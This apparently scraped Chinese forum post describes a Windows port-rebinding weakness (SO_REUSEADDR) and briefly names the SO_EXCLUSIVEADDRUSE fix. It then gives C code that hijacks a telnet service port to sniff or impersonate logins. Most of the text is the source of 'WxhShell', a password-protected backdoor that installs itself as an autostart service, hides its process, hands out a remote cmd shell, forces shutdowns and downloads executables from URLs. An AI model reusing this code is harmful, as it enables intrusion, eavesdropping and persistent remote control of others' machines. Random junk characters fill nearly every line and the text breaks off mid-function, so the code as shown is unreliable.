在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
ZA4sEVHW s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
AWZ4h,as{ 2 $Z4 >! saddr.sin_family = AF_INET;
R<T5lkJ\/ rp-.\Hl/a saddr.sin_addr.s_addr = htonl(INADDR_ANY);
3qfQlqJ&3 7n#Mh-vq bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
kDKfJp&a ]{-ib:f~ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
J<L"D/ kKQD$g.z6 这意味着什么?意味着可以进行如下的攻击:
%e:
hVU l)Cg?9 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
f+Bv8 g N[=R$1\Z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
o`jV d,aj n%dh|j2u 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
*xKY>E+ S?H
qrf7< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}e1]Ib! Oi!uJofW 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^O5PcV 3Eg EU7mP
MxJ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
r-}C !aF] }8'bXG+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
i/DUB<>p6 }5gQ dj[Y #include
CIt@xi#I #include
Cp-p7g0wlg #include
p-8x>dmP( #include
{NIE:MXX DWORD WINAPI ClientThread(LPVOID lpParam);
~<_PjV int main()
~
Q;qRx {
,|R\ Z,s WORD wVersionRequested;
^^*dHWHn< DWORD ret;
ID=^497
WSADATA wsaData;
WGMEZx BOOL val;
ADZU?7) SOCKADDR_IN saddr;
PwxRu SOCKADDR_IN scaddr;
"IdN *K int err;
JLxAk14lc SOCKET s;
gM#]o QOGE SOCKET sc;
Xpf:I int caddsize;
4q^'MZm1 HANDLE mt;
DmpD`^?-L DWORD tid;
#F >R5 D wVersionRequested = MAKEWORD( 2, 2 );
mvW,nM1Y err = WSAStartup( wVersionRequested, &wsaData );
G
Y ]bw if ( err != 0 ) {
NHzhGg] printf("error!WSAStartup failed!\n");
IsiCHtY9 return -1;
AtlUxFX0S }
Rp""&0 saddr.sin_family = AF_INET;
U{.y X7 |NWo.j>4- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
RS[QZOoW} /4-6V
d"8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
B}p{$g! saddr.sin_port = htons(23);
}Ias7d?re if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
q6>%1~? {
5F|oNI}$: printf("error!socket failed!\n");
6M_,4>
- return -1;
PeB7Q=d)K1 }
ER$qL"H
U val = TRUE;
+dSO?Y] //SO_REUSEADDR选项就是可以实现端口重绑定的
@ * *]o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
L Z#SX5N {
O9 [Dae{i printf("error!setsockopt failed!\n");
`GT{=XJfY return -1;
4Q(GX.5 }
;bt%TxuKb //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
0)-yLfTn //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
r5\|%5=J //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
s(Llz]E~ZX io(Rb\#" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
b$1W> {
9TbRrS09 ret=GetLastError();
>FM2T<.; printf("error!bind failed!\n");
;V\l,
u return -1;
a{7'qmN1 }
V17SJSC- listen(s,2);
YeCS`IXm while(1)
s:\FlQ0 {
x.~A vJ caddsize = sizeof(scaddr);
}0~4Z)?e3 //接受连接请求
1|Z!8:&pj sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
.:=G=v=1 if(sc!=INVALID_SOCKET)
-mK;f$X {
EG[Rda mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
|.Y}2>{ if(mt==NULL)
&ywU^hBh {
=5m~rJ<{ printf("Thread Creat Failed!\n");
uMe]].04 break;
i_6 Y6 }
#)N}F/Od^ }
aoVfvz2Y CloseHandle(mt);
?#P@N4Uw}y }
g/6>>p`J closesocket(s);
=Hwlo! WSACleanup();
`z{sDe; return 0;
'&hk? }
3=~0m DWORD WINAPI ClientThread(LPVOID lpParam)
Sr?2~R0& {
*Z,?VEO SOCKET ss = (SOCKET)lpParam;
ev;R; 0< SOCKET sc;
(^).$g5Hg unsigned char buf[4096];
e$ {Cf SOCKADDR_IN saddr;
WvJidz?5 long num;
i j+)U` DWORD val;
Zw<\^1 DWORD ret;
05gdVa,
//如果是隐藏端口应用的话,可以在此处加一些判断
1iTI8h&[@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.8EaFEd saddr.sin_family = AF_INET;
XIJW$CY saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Doj>Irj?7 saddr.sin_port = htons(23);
nL@(|nJ[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
j!<(` {
J}'a|a@bk printf("error!socket failed!\n");
X1PXX!]lo[ return -1;
8\/$cP"<^ }
%DR8M\d1~H val = 100;
FH}2wO~ _ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
J-wF2*0r< {
Td/J6Q90 ret = GetLastError();
txp^3dZ`^ return -1;
NP^j5|A*" }
Oq3]ZUVa if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:sL?jGk\ {
`}Z`aK ret = GetLastError();
[Y_CRxa\u return -1;
mxfmK +'_ }
\hr2#! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
wYAi-gdOi {
\x9.[?;=e printf("error!socket connect failed!\n");
K~ob]I<GiB closesocket(sc);
|qFCzK9tD/ closesocket(ss);
}5qpiS"V9 return -1;
$zUHka }
oW
\k%Vj while(1)
$]t3pAI[H0 {
yrVk$k#6} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
vQ",rP% //如果是嗅探内容的话,可以再此处进行内容分析和记录
7U,[Ruu //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\]=''C=J num = recv(ss,buf,4096,0);
M\rZr3 if(num>0)
kt;uB
X3 send(sc,buf,num,0);
}a?( }{z- else if(num==0)
F2:nL`]b[ break;
g<(\# F}/ num = recv(sc,buf,4096,0);
JRYCM}C] if(num>0)
Yfd0Np~ send(ss,buf,num,0);
*H({q`j33k else if(num==0)
<*F!A' w2o break;
"F+m}GJ=a }
Q^!x8oUF closesocket(ss);
[;RO= closesocket(sc);
@&xWd{8' return 0 ;
[ qx[ 0 }
WAqH*LB gql^Inx< x^]J^L45 ==========================================================
d$T856 3F ]30 下边附上一个代码,,WXhSHELL
qb1JE[2F s5cY> ==========================================================
%;MM+xVVX |Jpi|'
#include "stdafx.h"
RR9G$}WS( &6q67 #include <stdio.h>
Rw!wfh_+ #include <string.h>
I92orr1 #include <windows.h>
&cHA xker #include <winsock2.h>
F+Q(^Nk #include <winsvc.h>
thK4@C|X4 #include <urlmon.h>
fx3oA} 3 =-XA2zJ #pragma comment (lib, "Ws2_32.lib")
]r.95|V* #pragma comment (lib, "urlmon.lib")
wMvAm%}+ #)b0&wyW6i #define MAX_USER 100 // 最大客户端连接数
Pof]9qE-y #define BUF_SOCK 200 // sock buffer
}LTy Xo #define KEY_BUFF 255 // 输入 buffer
T7qE
2 O'[r,|Q{ #define REBOOT 0 // 重启
;*[oi #define SHUTDOWN 1 // 关机
jWNF3\ KzWqHq #define DEF_PORT 5000 // 监听端口
gO%oA} !i i8|0zI #define REG_LEN 16 // 注册表键长度
%s*F~E #define SVC_LEN 80 // NT服务名长度
ZXH{9hxd yp
l`vJ]X // 从dll定义API
dk>qTY+j5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`*-rz<G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%D6HY^]ayw typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
E@[ZwTnJ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
wGhy"1g# EaN1xb(DYa // wxhshell配置信息
@tzL4hy%^j struct WSCFG {
h}&1
7M int ws_port; // 监听端口
bSgdVP- char ws_passstr[REG_LEN]; // 口令
#Pr
w2u int ws_autoins; // 安装标记, 1=yes 0=no
)y"8Bx=x4 char ws_regname[REG_LEN]; // 注册表键名
UR<a7j"@2 char ws_svcname[REG_LEN]; // 服务名
VbfTdRD- char ws_svcdisp[SVC_LEN]; // 服务显示名
2C[xrZa^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
o_R_ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ffI
z>Of: int ws_downexe; // 下载执行标记, 1=yes 0=no
,0\Pr char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
d8ck].m= char ws_filenam[SVC_LEN]; // 下载后保存的文件名
ni~1)"U. /ht-]Js$G };
*Eg[@5;QA uRCZGg&V?# // default Wxhshell configuration
Cc&SHG*R struct WSCFG wscfg={DEF_PORT,
&3CC | "xuhuanlingzhe",
6BH
P#B2j 1,
K.r
"KxCm| "Wxhshell",
BRTCo,i "Wxhshell",
G/4~_\YMq "WxhShell Service",
ocPM zq- "Wrsky Windows CmdShell Service",
D*}_L
"Please Input Your Password: ",
iTcq= 1,
05s{Z.aK "
http://www.wrsky.com/wxhshell.exe",
}UX0 eI4 "Wxhshell.exe"
|f{(MMlj };
T%O2=h\} E [DD#YL\P // 消息定义模块
'y%*W:O char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
aW*8t'm;m' char *msg_ws_prompt="\n\r? for help\n\r#>";
{n 4W3 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
w42=tN+B char *msg_ws_ext="\n\rExit.";
wq:"/2p1 char *msg_ws_end="\n\rQuit.";
[
~:wS@% char *msg_ws_boot="\n\rReboot...";
jUGk=/*]e char *msg_ws_poff="\n\rShutdown...";
* _@t$W char *msg_ws_down="\n\rSave to ";
-=4{X
R3 iCIU'yI char *msg_ws_err="\n\rErr!";
Ye]-RN/W char *msg_ws_ok="\n\rOK!";
[yx8?5 %_.
fEFy07 char ExeFile[MAX_PATH];
@FaK/lKK int nUser = 0;
k7)<3f3&S. HANDLE handles[MAX_USER];
'mYUAVmSC# int OsIsNt;
F2!]T = U0@Qc}y SERVICE_STATUS serviceStatus;
$SfYO!n7Q SERVICE_STATUS_HANDLE hServiceStatusHandle;
=`E{QCW ,d@FO|G#pt // 函数声明
VI k]`)# int Install(void);
^SWV!rrg int Uninstall(void);
+j(7.6ia int DownloadFile(char *sURL, SOCKET wsh);
>SW c int Boot(int flag);
r^T+I3 void HideProc(void);
CfEACH4_ int GetOsVer(void);
'7JM/AcC#K int Wxhshell(SOCKET wsl);
-)9aY. void TalkWithClient(void *cs);
0mR^%+~ int CmdShell(SOCKET sock);
cP^c}e*;NS int StartFromService(void);
9}$'q$0R] int StartWxhshell(LPSTR lpCmdLine);
M$Ow*!DfP .f-s+J&ED VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}9~U5UXWU VOID WINAPI NTServiceHandler( DWORD fdwControl );
c1ptN L "5;< // 数据结构和表定义
M,dp; SERVICE_TABLE_ENTRY DispatchTable[] =
g=e~YM85 {
e'T|5I0K {wscfg.ws_svcname, NTServiceMain},
(w1$m8`= {NULL, NULL}
s(pNg?R };
d8J(~$tXQN Qb#iT}!p% // 自我安装
+o|I@7f int Install(void)
Xk`' m[ {
{xRO.699 char svExeFile[MAX_PATH];
Q?V'3ZZF! HKEY key;
tqXCj}mR strcpy(svExeFile,ExeFile);
>~*}9y0$ v~:'t\n // 如果是win9x系统,修改注册表设为自启动
j2s{rQQ if(!OsIsNt) {
eOZ"kw"uHu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
_j2q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
JYrOE"!h RegCloseKey(key);
HQGH7<=Om if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[7Liken RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
go?}M]c%7 RegCloseKey(key);
NeR1}W return 0;
N)
'|l0x0 }
b8&z~'ieR }
#L+ZHs~ }
"{x+ \Z\ else {
@*=eqO (05a9 // 如果是NT以上系统,安装为系统服务
gB])@O%/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
qo7jrY5G if (schSCManager!=0)
6r)B|~,OA {
yX%NFXD SC_HANDLE schService = CreateService
Oid;s!-S 6 (
O
#5`mo schSCManager,
r#NR3_@9 wscfg.ws_svcname,
q"VC#97` wscfg.ws_svcdisp,
jqQG n"! SERVICE_ALL_ACCESS,
m[<z/D SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
O |0V mm
SERVICE_AUTO_START,
6+/BYN!&4 SERVICE_ERROR_NORMAL,
4VP$,|a svExeFile,
.5!Q( NULL,
`<(o;*&Gd NULL,
#{5h6IC NULL,
o!zo%#0;#) NULL,
(l}nwyh5 NULL
2`A\'SM'4 );
8qwPk4 if (schService!=0)
WDF6.i ? {
"ZP)[ [Rd
CloseServiceHandle(schService);
!SThK8j$7 CloseServiceHandle(schSCManager);
z-m:l; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
VEx
) strcat(svExeFile,wscfg.ws_svcname);
En ]"^* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
@=qWwt4~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
\RmU6(;IQ RegCloseKey(key);
&W%fsy< return 0;
y$+_9VzYB }
q3ebps9^ }
wDKA1i%G CloseServiceHandle(schSCManager);
h3V;
J }
R<Ct{f! }
vu3zZMl emG1Wyl return 1;
o$Z]qhq }
O
+Xu?W] |`O210B@ // 自我卸载
EO\- J-nM int Uninstall(void)
& sgzSX {
QJ,~K&? HKEY key;
U]"6KS
t:%u4\nZ; if(!OsIsNt) {
dC?l%,W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9PG3cCr? RegDeleteValue(key,wscfg.ws_regname);
(t"e#b(: RegCloseKey(key);
f<vZ4 IU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:8Ugz ~i RegDeleteValue(key,wscfg.ws_regname);
m0 ]Lc{ RegCloseKey(key);
1 Ay.^f return 0;
KNSMx<GP }
?|{tWR,Vb }
T1uOp5_]B }
LT:8/&\ else {
Fr hI[D 86W.z6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
A>rN.XW if (schSCManager!=0)
3-_`x9u* {
@!B%ynrG SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
h%] D[g if (schService!=0)
BrsBB"<o,
{
g3c,x kaO if(DeleteService(schService)!=0) {
Z@bKYfGM CloseServiceHandle(schService);
`86})xz{ CloseServiceHandle(schSCManager);
wj\kx\+ return 0;
\;0UP+ }
}T"&4Rvs2R CloseServiceHandle(schService);
%)=c#H1 }
>(Fy6m CloseServiceHandle(schSCManager);
V-lp';bD }
+m1*ou'K }
^\w!D{Y7Q ye`-U?7. return 1;
4#ZZwa]y }
{
P @mAw 8:k-]+#o // 从指定url下载文件
V BjA$. int DownloadFile(char *sURL, SOCKET wsh)
4B@Ir)^(* {
c
Sktm&SP HRESULT hr;
5
&s<&h char seps[]= "/";
*_eY +\j char *token;
X yD*V;.E char *file;
Ha~}NO char myURL[MAX_PATH];
R@2*Lgxz~ char myFILE[MAX_PATH];
P=.T|l1 ^TAf+C^Ry strcpy(myURL,sURL);
3e1^r_YI token=strtok(myURL,seps);
T*rz#O while(token!=NULL)
S{UEV7d:n0 {
#4F0o@Z file=token;
"BvDLe': token=strtok(NULL,seps);
5c1{[ }
+[Q`I*C ML7qrc;Rx GetCurrentDirectory(MAX_PATH,myFILE);
d8VFa'| strcat(myFILE, "\\");
b\C1qM4 strcat(myFILE, file);
~/;shs<9EM send(wsh,myFILE,strlen(myFILE),0);
V(F1i%9l g send(wsh,"...",3,0);
#./8inbG hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
}M &hcw< if(hr==S_OK)
1
Lz return 0;
Y"E*#1/ else
$Fv|w9 return 1;
2 P9{?Y 9.Yn]O }
}kMKA.O" 0f"la=6 // 系统电源模块
>(a[b@[K int Boot(int flag)
1Wz5Iv#Ez {
9KMtPBZ HANDLE hToken;
dwVo"_Yr TOKEN_PRIVILEGES tkp;
|?ma? K&;/hdS=F if(OsIsNt) {
V(OD^GU OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
s;xErH@RA LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
G9h B p tkp.PrivilegeCount = 1;
hc]5f3Z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Yw,LEXLY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/\5u-o) if(flag==REBOOT) {
92Rm{n if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
[[KIuW~ot return 0;
|L~RC }
=8EGB\P else {
.p-T > if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
[W=6NAd return 0;
>/y+;<MZ }
ig4mj47wJ }
DpQ:U 5j
else {
[wcp2g3Px if(flag==REBOOT) {
;D}E/'= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
lA,*]Mr~ return 0;
YH{FTVOt{C }
3'[
g2JR else {
.%_=(C<E if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
rG{,8* return 0;
TTz_w-68 }
[+b&)jN*2 }
%^bN^Sq
- $%"~.L4 return 1;
JvM:x y9 }
E 7"`D\* MzIn~[\ // win9x进程隐藏模块
:tX,`G void HideProc(void)
{\ J%i|u {
JmbWEX| =7-@&S=?s HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
d.p%jVO)" if ( hKernel != NULL )
E~1"Nh {
cB}6{c$_sW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
H`NT`BE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Vn6]h|vm FreeLibrary(hKernel);
!p(N
DQm }
Ky)*6QOw iTJE:[W"y return;
vSGvv43G }
S0tPnwco[~ B q7Qbj // 获取操作系统版本
g UA_&_ int GetOsVer(void)
[u7i)fn5? {
AI2@VvB OSVERSIONINFO winfo;
Kl w9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
-Ps kUl' GetVersionEx(&winfo);
Cm#[$T@C if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
rIJd(= return 1;
}N
W01nee else
=yLJGNK[ return 0;
Ypw:Vp }
jCL 1Bj <xr\1VjA // 客户端句柄模块
N
m@UM*D int Wxhshell(SOCKET wsl)
$@<cZ4 {
Pa
*/&WeB SOCKET wsh;
~A-D>.ZH struct sockaddr_in client;
p$l'y""i DWORD myID;
xoN?[ \Wf1b8FW while(nUser<MAX_USER)
![{0Yw
D {
S"Drg m. int nSize=sizeof(client);
<CGJ:% AY wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
oPR?Ar if(wsh==INVALID_SOCKET) return 1;
'SnB7Y p=]z`t handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
swG!O}29OX if(handles[nUser]==0)
2q%vd=T closesocket(wsh);
MLt'tzgl else
n{xL1A=9 nUser++;
;7N~d TBQ }
"$PX[: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
@JpkG%eK !s(s^ return 0;
\Culf'iX }
,2lH*=m; aYcc2N%C // 关闭 socket
:U/x( void CloseIt(SOCKET wsh)
i
E)Fo.H {
Q a3+ 9 closesocket(wsh);
D@o8Gerq~ nUser--;
'*n2<y ExitThread(0);
)jed@? }
,")/R/d T:!Re*=JJ // 客户端请求句柄
(GbZt{. void TalkWithClient(void *cs)
x4;ndck%U {
YQ7tZl;:t >m8~Fs0 SOCKET wsh=(SOCKET)cs;
-*~~00w char pwd[SVC_LEN];
D:Fi/JY~ char cmd[KEY_BUFF];
\* SEj&9 char chr[1];
i|QL6e*0 int i,j;
= K3NKPUI 8 J;\Z while (nUser < MAX_USER) {
6:qh%ZR U$ 22 r b if(wscfg.ws_passstr) {
tqicyNL if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7q'T,'[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_4~q&?}V //ZeroMemory(pwd,KEY_BUFF);
C
vWt i=0;
0p1~!X=I while(i<SVC_LEN) {
Fps:6~gD i[m-&
// 设置超时
}g_\?z3gt fd_set FdRead;
i=X
B0- struct timeval TimeOut;
::2(pgH FD_ZERO(&FdRead);
\wxLt}T-Q FD_SET(wsh,&FdRead);
-9^A,vX TimeOut.tv_sec=8;
@V qI+5TA TimeOut.tv_usec=0;
$gysy!2}. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
]%Z7wF</ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
pX]"^f1?O >0.a#-u^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
?$ 0t @E pwd
=chr[0]; 8 ;o*c6+
if(chr[0]==0xd || chr[0]==0xa) { l[M?"<Ot;
pwd=0; Gey j`t
break; sL\W6ej
} fQ_(2+FM
i++; dIOiP\^
} n0tVAH'>
+z?SKc
// 如果是非法用户,关闭 socket H:_R[u4r
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c,_??8
} GNab\M.
IJv+si:k
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gkL{]*9&%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1cY,)Z%l #
<^fvTb &*
while(1) { sH /08Z
=w2_1F"
ZeroMemory(cmd,KEY_BUFF); /'Q2TLy=
xBg.QV
// 自动支持客户端 telnet标准 22r$Ri_>
j=0; J~k'b2(p3
while(j<KEY_BUFF) { _ 68{
{.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N=~aj7B%
cmd[j]=chr[0]; 1 JB~G7
if(chr[0]==0xa || chr[0]==0xd) { E 9v<VoNP`
cmd[j]=0; GLr7sack
break; (V9 ;
} b?nORWjC
j++; ^2-t|E=
} j/uu&\e
2^4OaHY88
// 下载文件 OGAC[s~V
if(strstr(cmd,"http://")) { B8.uzX'p
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?<6yKxn
if(DownloadFile(cmd,wsh)) 0t(js_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $&jte_hv
else =9L1Z \f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); go
B'C
} -mY,nMDb
else { L{Kl!
x f<wM]&
switch(cmd[0]) { sX,S]:X
%2^wyVkq:
// 帮助 ?OF9{$m3?
case '?': { =U,mzY(
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yrQfPR
break; s0*@zn>h
} eq,`T;
// 安装 #gSLFM{p
case 'i': { <Xl/U^B
if(Install()) qUKSo9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q Zv}\C-c
else /[+%<5s
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y{Vh?Z<E
break; SmVL?wf
} B<oBo&uA
// 卸载 ^vha4<'-qG
case 'r': { e]-%P(}Z
if(Uninstall()) +~f=L- >
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2./;i>H[u
else YuFR*W;$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W$Sc@!M3{
break; MZ"|Jn
} Usq.'y/o
// 显示 wxhshell 所在路径 Q?/qQ}nNw
case 'p': { jj6yf.r6c
char svExeFile[MAX_PATH]; ch]{=61
strcpy(svExeFile,"\n\r"); jH?!\F2)+
strcat(svExeFile,ExeFile); E D^0t
send(wsh,svExeFile,strlen(svExeFile),0); aDda&RM
break; uS7kkzt-x
} _(F8}s
// 重启 Sjo7NR^#e
case 'b': { 5&TH\2u
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {fa3"k_ke
if(Boot(REBOOT)) P$5K[Y4f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VMH^jCFp
else { 20cEE>
closesocket(wsh); .JX9(#Uk
ExitThread(0); DhD^w;f]
} D";@)\jN
break; ?}"39n
} 'wni.E&
// 关机 h&2l0|8k
case 'd': { fs0EbVDF
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vX|5*T`(
if(Boot(SHUTDOWN)) \gR%PN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v"-K-AQjB
else { <h%I-e6
closesocket(wsh); p} {H%L
ExitThread(0); 9PdD =9HH
} ziC%Q8
break; .zv BV_I
} 8p_6RvG
// 获取shell 9J$-E4G.M
case 's': { zD;k|"e
CmdShell(wsh); uR6 `@F
closesocket(wsh); lRR A2Kql
ExitThread(0); <nc6&+
break; vwAtX($
} Q)=LbR{#
// 退出 L}6!D zl
case 'x': { *USG
p<iH
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fwNj@fl_,e
CloseIt(wsh); 0+F--E4
break; !<?<f
db
} <.&84c]/&
// 离开 ?!y<%&U
case 'q': { ;OZl'
. %`
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \3`r/,wY
closesocket(wsh); 33g$mUB
WSACleanup(); Lg{M<Q)4
exit(1); \P7<q,OGS
break; hkMVA
} yMXf&$C
} u9fJ:a
} y/+IPR
qP]1}-
// 提示信息 FG^lh
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sE&1ZJ]7
} HI7w@V8Ed
} Xyr'rm5+b
(AZAQ xt
return; glLoYRTi
} %77uc9}
c(aykIVOo
// shell模块句柄 |}b~YHTs
int CmdShell(SOCKET sock) kpXxg: c
{ zd/kr
STARTUPINFO si; me@)kQ8M
ZeroMemory(&si,sizeof(si)); DTG-R>y^
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Jj?HOtaM
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O]'2<;
PROCESS_INFORMATION ProcessInfo; RL3*fRlb
char cmdline[]="cmd"; ;Y0M]pC
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~r~YR=
return 0; iBI->xU[U
} Cz
&3=),G
No`*-> R
// 自身启动模式 hZlHY9[t?
int StartFromService(void) B<i(Y1n[
